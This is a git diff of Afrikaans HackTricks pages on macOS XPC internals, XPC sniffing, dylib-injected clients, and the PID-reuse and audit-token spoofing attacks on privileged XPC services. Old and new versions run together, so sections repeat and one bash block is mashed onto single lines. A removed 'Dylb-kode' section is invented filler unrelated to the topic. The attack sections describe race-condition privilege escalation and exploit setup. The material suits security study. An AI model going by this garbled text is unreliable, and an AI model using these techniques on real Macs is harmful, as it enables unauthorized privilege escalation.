Hierdie lêer het ander konfigurasiesleutels soos `ServiceType` wat kan wees Toepassing, Gebruiker, Stelsel of `_SandboxProfile` wat 'n sandbox kan definieer of `_AllowedClients` wat moontlik regte of ID kan aandui wat benodig word om die diens te kontak. Hierdie en ander konfigurasie opsies sal nuttig wees om die diens te konfigureer wanneer dit gelaai word.
### Begin 'n Diens
Die app probeer om te **verbinde** met 'n XPC diens deur `xpc_connection_create_mach_service` te gebruik, dan lokaliseer launchd die daemon en begin **`xpcproxy`**. **`xpcproxy`** afdwing geconfigureerde beperkings en. spawn die diens met die verskafde FDs en Mach-poorte.
Om die spoed van die soektog na die XPC diens te verbeter, word 'n kas gebruik.
Dit is moontlik om die aksies van `xpcproxy` te volg met:
```bash
supraudit S -C -o /tmp/output /dev/auditpipe
```
Die XPC-biblioteek gebruik `kdebug` om aksies te log wat `xpc_ktrace_pid0` en `xpc_ktrace_pid1` aanroep. Die kodes wat dit gebruik is nie gedokumenteer nie, so dit is nodig om dit by `/usr/share/misc/trace.codes` te voeg. Hulle het die voorvoegsel `0x29` en byvoorbeeld een is `0x29000004`: `XPC_serializer_pack`.\
Die nut `xpcproxy` gebruik die voorvoegsel `0x22`, byvoorbeeld: `0x2200001c: xpcproxy:will_do_preexec`.
## XPC Gebeurtenisboodskappe
Toepassings kan **subskribeer** op verskillende gebeurtenis **boodskappe**, wat hulle in staat stel om **op aanvraag geaktiveer** te word wanneer sulke gebeurtenisse plaasvind. Die **opstelling** vir hierdie dienste word in **launchd plist-lêers** gedoen, geleë in die **dieselfde gidse as die vorige** en bevat 'n ekstra **`LaunchEvent`** sleutel.
### XPC Verbinding Proses Kontrole
Wanneer 'n proses probeer om 'n metode via 'n XPC-verbinding aan te roep, moet die **XPC-diens kontroleer of daardie proses toegelaat word om te verbind**. Hier is die algemene maniere om dit te kontroleer en die algemene valstrikke:
{% content-ref url="macos-xpc-connecting-process-check/" %}
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
{% endcontent-ref %}
### XPC Magtiging
## XPC Magtiging
Apple laat ook programme toe om sommige regte te konfigureer en hoe om dit te verkry, sodat as die aanroepende proses dit het, dit toegelaat sal word om 'n metode van die XPC-diens te roep:
Apple laat ook toepassings toe om **sekere regte te konfigureer en hoe om dit te verkry**, so as die oproepende proses dit het, sal dit **toegelaat word om 'n metode** van die XPC-diens aan te roep:
{% content-ref url="macos-xpc-authorization.md" %}
[macos-xpc-authorization.md](macos-xpc-authorization.md)
{% endcontent-ref %}
### XPC Sniffer
## XPC Sniffer
Om die XPC-boodskappe te snuffel, kan jy [**xpcspy**](https://github.com/hot3eed/xpcspy) gebruik wat **Frida** gebruik.
```bash
# Install
pip3 install xpcspy
@ -114,11 +161,12 @@ xpcspy -U -r -W <bundle-id>
## Using filters (i: for input, o: for output)
xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
```
'n Ander moontlike hulpmiddel om te gebruik is [**XPoCe2**](https://newosxbook.com/tools/XPoCe2.html).
### XPC Kommunikasie C Kode Voorbeeld
## XPC Kommunikasie C Kode Voorbeeld
{% tabs %}
{% tab title="undefined" %}
{% tab title="xpc_server.c" %}
```c
// gcc xpc_server.c -o xpc_server
@ -174,7 +222,7 @@ return 0;
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="xpc_client.c" %}
```c
// gcc xpc_client.c -o xpc_client
@ -228,7 +276,6 @@ return 0;
```
{% endtab %}
{% endtabs %}
```bash
# Compile the server & client
gcc xpc_server.c -o xpc_server
@ -248,11 +295,10 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
```
### XPC Kommunikasie Objective-C Kode Voorbeeld
## XPC Kommunikasie Objective-C Kode Voorbeeld
{% tabs %}
{% tab title="undefined" %}
{% tab title="oc_xpc_server.m" %}
```objectivec
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
#include <Foundation/Foundation.h>
@ -304,7 +350,7 @@ sleep(10); // Fake something is done and then it ends
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="oc_xpc_client.m" %}
```objectivec
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
#include <Foundation/Foundation.h>
@ -352,39 +398,26 @@ return 0;
```
{% endtab %}
{% endtabs %}
```bash
# Compile the server & client
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
\`\`\`bash # Compile the server & client gcc -framework Foundation oc\_xpc\_server.m -o oc\_xpc\_server gcc -framework Foundation oc\_xpc\_client.m -o oc\_xpc\_client
# Save server on it's location
cp oc_xpc_server /tmp
## Save server on it's location
# Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
cp oc\_xpc\_server /tmp
# Call client
./oc_xpc_client
## Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
## Call client
./oc\_xpc\_client
## Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc\_xpc\_server
````
## Kliënt binne 'n Dylb-kode
In hierdie scenario sal ons 'n kliënt binne 'n Dylb-kode implementeer. Die Dylb-kode is 'n dinamiese biblioteek wat gebruik word om funksies te deel tussen verskillende toepassings. Ons sal die kliënt binne die Dylb-kode gebruik om te kommunikeer met 'n bedienersagteware wat deur die Dylb-kode verskaf word.
Hier is die stappe om 'n kliënt binne 'n Dylb-kode te implementeer:
1. Skep 'n nuwe Dylb-kodeprojek en voeg die nodige afhanklikhede by.
2. Skep 'n kliëntklas binne die Dylb-kodeprojek. Hierdie klas sal gebruik word om die bedienersagteware te kommunikeer.
3. Implementeer die nodige funksies binne die kliëntklas om die kommunikasie met die bedienersagteware te fasiliteer. Dit kan insluit die stuur van versoeke, ontvangs van antwoorde, en verwerking van data.
4. Skep 'n hoofprogram binne die Dylb-kodeprojek om die kliëntklas te instansieer en die kommunikasie met die bedienersagteware te demonstreer.
5. Bou die Dylb-kodeprojek en voeg dit by die toepassings wat die funksionaliteit van die bedienersagteware wil gebruik.
Met die kliënt binne die Dylb-kode kan toepassings nou die funksies van die bedienersagteware gebruik sonder om dit self te implementeer. Dit maak dit makliker om funksionaliteit te deel en hergebruik tussen verskillende toepassings.
# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
```
## Kliënt binne 'n Dylb kode
```objectivec
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
// gcc injection example:
@ -417,18 +450,38 @@ NSLog(@"Done!");
return;
}
````
```
## Remote XPC
Hierdie funksionaliteit wat deur `RemoteXPC.framework` (van `libxpc`) verskaf word, stel in staat om via XPC deur verskillende gasheer te kommunikeer.\
Die dienste wat afstand XPC ondersteun, sal in hul plist die sleutel UsesRemoteXPC hê, soos die geval is met `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`. Tog, alhoewel die diens geregistreer sal wees met `launchd`, is dit `UserEventAgent` met die plugins `com.apple.remoted.plugin` en `com.apple.remoteservicediscovery.events.plugin` wat die funksionaliteit verskaf.
Boonop stel die `RemoteServiceDiscovery.framework` in staat om inligting van die `com.apple.remoted.plugin` te verkry wat funksies soos `get_device`, `get_unique_device`, `connect`... blootstel.
Sodra connect gebruik word en die socket `fd` van die diens versamel is, is dit moontlik om die `remote_xpc_connection_*` klas te gebruik.
Dit is moontlik om inligting oor afstanddienste te verkry met die cli-gereedskap `/usr/libexec/remotectl` deur parameters soos:
```bash
/usr/libexec/remotectl list # Get bridge devices
/usr/libexec/remotectl show ...# Get device properties and services
/usr/libexec/remotectl dumpstate # Like dump withuot indicateing a servie
/usr/libexec/remotectl [netcat|relay] ... # Expose a service in a port
...
```
Die kommunikasie tussen BridgeOS en die gasheer vind plaas deur 'n toegewyde IPv6-koppelvlak. Die `MultiverseSupport.framework` maak dit moontlik om sokkies te vestig waarvan die `fd` gebruik sal word vir kommunikasie.\
Dit is moontlik om hierdie kommunikasies te vind met `netstat`, `nettop` of die oopbron opsie, `netbottom`.
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,39 +1,40 @@
# macOS PID Hergebruik
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## PID Hergebruik
Wanneer 'n macOS **XPC-diens** die geroepte proses op grond van die **PID** en nie die **oudit-token** nagaan nie, is dit vatbaar vir 'n PID-hergebruikaanval. Hierdie aanval is gebaseer op 'n **wedrenstoestand** waar 'n **uitbuiting** boodskappe na die XPC-diens **stuur en misbruik maak van die funksionaliteit en net **daarna** die uitvoering van **`posix_spawn(NULL, teiken_binêre, NULL, &attr, teiken_argv, omgewing)`** met die **toegelate** binêre lê.
Wanneer 'n macOS **XPC diens** die aangeroep proses nagaan op grond van die **PID** en nie op die **audit token** nie, is dit kwesbaar vir 'n PID hergebruik aanval. Hierdie aanval is gebaseer op 'n **wedren toestand** waar 'n **ontploffing** **boodskappe na die XPC** diens **misbruik** van die funksionaliteit gaan **stuur** en net **na** dit, **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** met die **toegelate** binêre uitvoer.
Hierdie funksie sal die **toegelate binêre die PID laat besit**, maar die **skadelike XPC-boodskap sou net voorheen gestuur wees. Dus, as die **XPC**-diens die **PID** gebruik om die sender te **verifieer en dit **NA** die uitvoering van **`posix_spawn`** nagaan, sal dit dink dit kom van 'n **geautriseerde** proses.
Hierdie funksie sal die **toegelate binêre die PID** laat besit, maar die **kwaadwillige XPC boodskap sou net voorheen gestuur gewees het**. So, as die **XPC** diens die **PID** gebruik om die sender te **verifieer** en dit **NÁ** die uitvoering van **`posix_spawn`** nagaan, sal dit dink dit kom van 'n **geautoriseerde** proses.
### Uitbuitingsvoorbeeld
### Ontploffing voorbeeld
As jy die funksie **`shouldAcceptNewConnection`** vind of 'n funksie wat deur dit geroep word **`processIdentifier`** en nie **`auditToken`** aanroep nie. Dit beteken hoogstwaarskynlik dat dit die proses-PID verifieer en nie die oudit-token nie.\
Soos byvoorbeeld in hierdie afbeelding (geneem uit die verwysing):
As jy die funksie **`shouldAcceptNewConnection`** of 'n funksie wat deur dit **aangeroep** word **`processIdentifier`** en nie **`auditToken`** aanroep nie, vind. Dit beteken hoogs waarskynlik dat dit die **proses PID** nagaan en nie die audit token nie.\
Soos byvoorbeeld in hierdie beeld (geneem van die verwysing):
<figure><img src="../../../../../../.gitbook/assets/image (306).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
Kyk na hierdie voorbeeld van 'n uitbuiting (weer geneem uit die verwysing) om die 2 dele van die uitbuiting te sien:
Kyk na hierdie voorbeeld ontploffing (weer, geneem van die verwysing) om die 2 dele van die ontploffing te sien:
* Een wat **verskeie vurke genereer**
* **Elke vurk** sal die **lading** na die XPC-diens **stuur terwyl dit** `posix_spawn` net na die boodskap stuur.
* Een wat **verskeie vurkies genereer**
* **Elke vurk** sal die **payload** na die XPC diens stuur terwyl dit **`posix_spawn`** net na die boodskap stuur.
{% hint style="danger" %}
Vir die uitbuiting om te werk, is dit belangrik om ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** of om binne die uitbuiting te plaas:
Vir die ontploffing om te werk is dit belangrik om ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** of om binne die ontploffing te plaas:
```objectivec
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
@ -43,7 +44,7 @@ asm(".section __DATA,__objc_fork_ok\n"
{% tabs %}
{% tab title="NSTasks" %}
Eerste opsie om **`NSTasks`** en argument te gebruik om die kinders te lanceer om die RC te benut
Eerste opsie om **`NSTasks`** te gebruik en argument om die kinders te begin om die RC te ontgin
```objectivec
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl
@ -152,7 +153,7 @@ return 0;
{% endtab %}
{% tab title="fork" %}
Hierdie voorbeeld maak gebruik van 'n rou **`fork`** om **kinders te begin wat die PID-wedrenstoestand sal uitbuit** en dan **'n ander wedrenstoestand via 'n Harde skakel sal uitbuit:**
Hierdie voorbeeld gebruik 'n rou **`fork`** om **kinders te begin wat die PID wedlooptoestand** sal benut en dan **nog 'n wedlooptoestand via 'n Hard link:**
```objectivec
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl
@ -297,16 +298,17 @@ return 0;
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
* [https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf](https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# macOS xpc\_connection\_get\_audit\_token Aanval
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Vir verdere inligting kyk na die oorspronklike pos:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Hierdie is 'n opsomming:
**Vir verdere inligting, kyk na die oorspronklike pos:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Dit is 'n opsomming:
## Mach-boodskappe Basiese Inligting
## Mach Berigte Basiese Inligting
As jy nie weet wat Mach-boodskappe is nie, begin deur hierdie bladsy te kyk:
As jy nie weet wat Mach Berigte is nie, begin om hierdie bladsy te kyk:
{% content-ref url="../../" %}
[..](../../)
{% endcontent-ref %}
Vir die oomblik onthou dat ([definisie vanaf hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Mach-boodskappe word oor 'n _mach-poort_ gestuur, wat 'n **enkele ontvanger, meervoudige sender kommunikasie** kanaal is wat in die mach-kernel ingebou is. **Meervoudige prosesse kan boodskappe** na 'n mach-poort stuur, maar op enige punt kan net **'n enkele proses daarvan lees**. Net soos lêerbeskrywers en sokkette, word mach-poorte toegewys en bestuur deur die kernel en sien prosesse slegs 'n heelgetal, wat hulle kan gebruik om aan te dui aan die kernel watter van hul mach-poorte hulle wil gebruik.
Vir die oomblik onthou dat ([definisie hier vandaan](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Mach berigte word oor 'n _mach poort_ gestuur, wat 'n **enkele ontvanger, meerdere sender kommunikasie** kanaal is wat in die mach kernel ingebou is. **Meerdere prosesse kan berigte** na 'n mach poort stuur, maar op enige punt **kan slegs 'n enkele proses dit lees**. Net soos lêer beskrywings en sokke, word mach poorte toegeken en bestuur deur die kernel en prosesse sien slegs 'n heelgetal, wat hulle kan gebruik om aan die kernel aan te dui watter van hul mach poorte hulle wil gebruik.
## XPC Verbinding
As jy nie weet hoe 'n XPC-verbinding tot stand gebring word nie, kyk:
As jy nie weet hoe 'n XPC verbinding gevestig word nie, kyk:
{% content-ref url="../" %}
[..](../)
@ -37,100 +38,115 @@ As jy nie weet hoe 'n XPC-verbinding tot stand gebring word nie, kyk:
## Kwetsbaarheid Opsomming
Wat vir jou interessant is om te weet, is dat **XPC se abstraksie 'n een-tot-een verbinding is**, maar dit is gebaseer op 'n tegnologie wat **meervoudige senders kan hê, soos:**
Wat interessant is om te weet, is dat **XPC se abstraksie 'n een-tot-een verbinding is**, maar dit is gebaseer op 'n tegnologie wat **meerdere senders kan hê, so:**
* Mach-poorte is enkele ontvanger, **meervoudige sender**.
* Die oudit-token van 'n XPC-verbinding is die oudit-token van **gekopieer van die mees onlangs ontvange boodskap**.
* Die verkryging van die **oudit-token** van 'n XPC-verbinding is krities vir baie **sekuriteitskontroles**.
* Mach poorte is enkele ontvanger, **meerdere sender**.
* 'n XPC verbinding se audit token is die audit token van **gekopieer van die mees onlangs ontvangde boodskap**.
* Om die **audit token** van 'n XPC verbinding te verkry, is krities vir baie **veiligheidskontroles**.
Alhoewel die vorige situasie belowend klink, is daar enkele scenario's waar dit nie probleme gaan veroorsaak nie ([vanaf hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
Alhoewel die vorige situasie belowend klink, is daar sommige scenario's waar dit nie probleme gaan veroorsaak nie ([hier vandaan](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
* Oudit-tokens word dikwels gebruik vir 'n magtigingskontrole om te besluit of 'n verbinding aanvaar moet word. Aangesien dit gebeur deur 'n boodskap na die dienspoort te stuur, is daar **nog geen verbinding tot stand gebring nie**. Meer boodskappe op hierdie poort sal net hanteer word as addisionele verbindingsversoeke. Dus is enige **kontroles voor die aanvaarding van 'n verbinding nie kwesbaar nie** (dit beteken ook dat binne `-listener:shouldAcceptNewConnection:` die oudit-token veilig is). Ons is dus **op soek na XPC-verbindings wat spesifieke aksies verifieer**.
* XPC-gebeurtenishanteerders word sinchronies hanteer. Dit beteken dat die gebeurtenishanterer vir een boodskap voltooi moet word voordat dit vir die volgende een geroep word, selfs op gelyktydige verspreidingsbane. Dus binne 'n **XPC-gebeurtenishanterer kan die oudit-token nie oorskryf word** deur ander normale (nie-antwoord!) boodskappe nie.
* Audit tokens word dikwels gebruik vir 'n outorisering kontrole om te besluit of 'n verbinding aanvaar moet word. Aangesien dit gebeur deur 'n boodskap na die dienspoort te stuur, is daar **nog geen verbinding gevestig nie**. Meer boodskappe op hierdie poort sal net hanteer word as addisionele verbindingsversoeke. So enige **kontroles voordat 'n verbinding aanvaar word, is nie kwesbaar nie** (dit beteken ook dat binne `-listener:shouldAcceptNewConnection:` die audit token veilig is). Ons is dus **op soek na XPC verbindings wat spesifieke aksies verifieer**.
* XPC gebeurtenis hanteerders word sinchronies hanteer. Dit beteken dat die gebeurtenis hanteerder vir een boodskap voltooi moet wees voordat dit vir die volgende een aangeroep kan word, selfs op gelyktydige afleweringsqueues. So binne 'n **XPC gebeurtenis hanteerder kan die audit token nie oorgeskryf word** deur ander normale (nie-antwoorde!) boodskappe nie.
Twee verskillende metodes waardeur dit uitgebuit kan word:
Twee verskillende metodes wat dalk uitgebuit kan word:
1. Variant1:
* **Exploit verbind** met diens **A** en diens **B**
* **Eksploiteer** **verbinde** na diens **A** en diens **B**
* Diens **B** kan 'n **bevoorregte funksionaliteit** in diens A aanroep wat die gebruiker nie kan nie
* Diens **A** roep **`xpc_connection_get_audit_token`** aan terwyl _**nie**_ binne die **gebeurtenishanterer** vir 'n verbinding in 'n **`dispatch_async`** nie.
* Dus kan 'n **verskillende** boodskap die **Oudit-token oorskryf** omdat dit asinkronies buite die gebeurtenishanterer versprei word.
* Die aanval gee die **SEND-reg aan diens A aan diens B**.
* So sal diens **B eintlik die boodskappe** aan diens **A stuur**.
* Die **aanval** probeer om die **bevoorregte aksie aan te roep.** In 'n RC diens **A** **kontroleer** die magtiging van hierdie **aksie** terwyl **diens B die Oudit-token oorskryf** het (wat die aanval toegang gee om die bevoorregte aksie aan te roep).
* Diens **A** roep **`xpc_connection_get_audit_token`** aan terwyl _**nie**_ binne die **gebeurtenis hanteerder** vir 'n verbinding in 'n **`dispatch_async`**.
* So 'n **ander** boodskap kan die **Audit Token oorgeskryf** omdat dit asynchrone gestuur word buite die gebeurtenis hanteerder.
* Die eksploiteer gee aan **diens B die SEND reg na diens A**.
* So diens **B** sal eintlik **boodskappe** na diens **A** **stuur**.
* Die **eksploiteer** probeer om die **bevoorregte aksie aan te roep.** In 'n RC diens **A** **kontroleer** die outorisering van hierdie **aksie** terwyl **diens B die Audit token oorgeskryf het** (wat die eksploiteer toegang gee om die bevoorregte aksie aan te roep).
2. Variant 2:
* Diens **B** kan 'n **bevoorregte funksionaliteit** in diens A aanroep wat die gebruiker nie kan nie
* Aanval verbind met **diens A** wat die aanval 'n **boodskap stuur wat 'n antwoord verwag** in 'n spesifieke **herhaalpoort**.
* Aanval stuur **diens** B 'n boodskap wat **daardie antwoordpoort** deurgee.
* Wanneer diens **B antwoord**, stuur dit die boodskap na diens A, **terwyl** die **aanval** 'n verskillende **boodskap na diens A stuur** wat probeer om 'n bevoorregte funksionaliteit te bereik en verwag dat die antwoord van diens B die Oudit-token in die perfekte oomblik sal oorskryf (Race Condition).
* Eksploiteer verbind met **diens A** wat **stuur** die eksploiteer 'n **boodskap wat 'n antwoord verwag** in 'n spesifieke **herhalings** **poort**.
* Eksploiteer stuur **diens** B 'n boodskap wat **daardie antwoordpoort** oorhandig.
* Wanneer diens **B antwoord**, dit **stuur die boodskap na diens A**, **terwyl** die **eksploiteer** 'n ander **boodskap na diens A** stuur wat probeer om 'n **bevoorregte funksionaliteit** te bereik en verwag dat die antwoord van diens B die Audit token op die perfekte oomblik sal oorgeskryf (Race Condition).
## Variant 1: xpc\_connection\_get\_audit\_token aanroep buite 'n gebeurtenishanterer <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
